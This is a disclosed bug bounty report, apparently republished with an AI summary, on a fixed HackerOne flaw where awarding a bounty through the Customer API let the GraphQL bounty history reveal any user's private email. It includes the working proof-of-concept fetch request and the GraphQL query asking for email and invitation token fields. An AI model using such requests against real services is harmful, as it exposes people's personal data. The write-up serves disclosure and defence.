Creation of bounties through Customer API leads to private email disclosure
A user with a report-manager API token could award a bounty to any user ID through the Customer API, then query the GraphQL bounties history to read that user's private email address. This let an attacker disclose the email of any HackerOne user whose ID they knew.
- Triaged in 15 days
- Fixed in 15 days
- Paid in 15 days
- Disclosed after 35 days
Summary:
Hello team,
It is possible to reveal any user email using the BountiesHistoryQuery request.
To demonstrate this, I will make use of both the API and the graphql requests.
Steps To Reproduce
- Log in to your account and create a demo
- Head over to https://hackerone.com/organizations/████/settings/api_tokens and create a token with the report manager role
- Head over to any profile of a user in hackerone and copy their user id
- Use this request below to award a program bounty to that user using the API.
recipient_idis the id of any user and{id}is your sandbox program id.
let inputBody = "{\n \"data\": {\n \"type\": \"bounty\",\n \"attributes\": {\n \"recipient_id\": \"██████████\",\n \"amount\": 51,\n \"reference\": \"newbounty\",\n \"title\": \"BOUNTY FROM Sandbox\",\n \"currency\": \"USD\",\n \"severity_rating\": \"high\"\n }\n }\n}";
let user = 'identifier';
let password = 'token';
let headers = new Headers();
headers.set('Authorization', 'Basic ' + btoa(user + ":" + password));
headers.set('Content-Type', 'application/json'); headers.set('Accept', 'application/json');
fetch('https://api.hackerone.com/v1/programs/{id}/bounties',
{
method: 'POST',
body: inputBody,
headers: headers
})
.then(function(res) {
return res.json();
}).then(function(body) {
console.log(body);
});
- You will get a success message
██████
6. After awarding the bounty, make the following Graphql request. Where handle is the handle of your sandbox team
{"operationName":"BountiesHistoryQuery","variables":{"handle":"████","pageSize":25,"product_area":"other","product_feature":"other"},"query":"query BountiesHistoryQuery($handle: String!, $pageSize: Int!, $cursor: String) {\n team(handle: $handle) {\n id\n currency\n offers_bounties\n state\n bounties(first: $pageSize, after: $cursor) {\n pageInfo {\n endCursor\n hasNextPage\n __typename\n }\n edges {\n node {\n id\n awarded_user{username} invitations{email token} awarded_amount\n awarded_bonus_amount\n created_at\n report {\n id\n database_id: _id\n reporter {\n email id\n username\n __typename\n }\n title\n __typename\n }\n total_awarded_amount\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}
- Notice the email of the user is shown in the response
█████████
Impact
Reveal any user email
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the bounty-creation endpoint did not restrict the recipient to the caller's own program members, and the GraphQL bounty history exposed the awarded user's email to a token that should not see it.
Impact
Any user's private email address could be disclosed to a holder of a report-manager API token.
What the attacker needed
A HackerOne account; a sandbox program; an API token with report manager role; target user's ID
How it was found
- Log in and create a demo (sandbox) program.
- Create an API token with the report manager role.
- Copy the user ID of any target profile.
- Award a program bounty to that user ID via the Customer API.
- Query BountiesHistoryQuery for the sandbox team handle.
- Observe the target user's email in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website has two ways to talk to its servers: a public API and a GraphQL endpoint. The API let a low-privileged token create a bounty for any user, and the GraphQL endpoint then returned that user's email in the bounty history. Because the email was never meant to be visible, anyone with such a token could learn other people's addresses.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.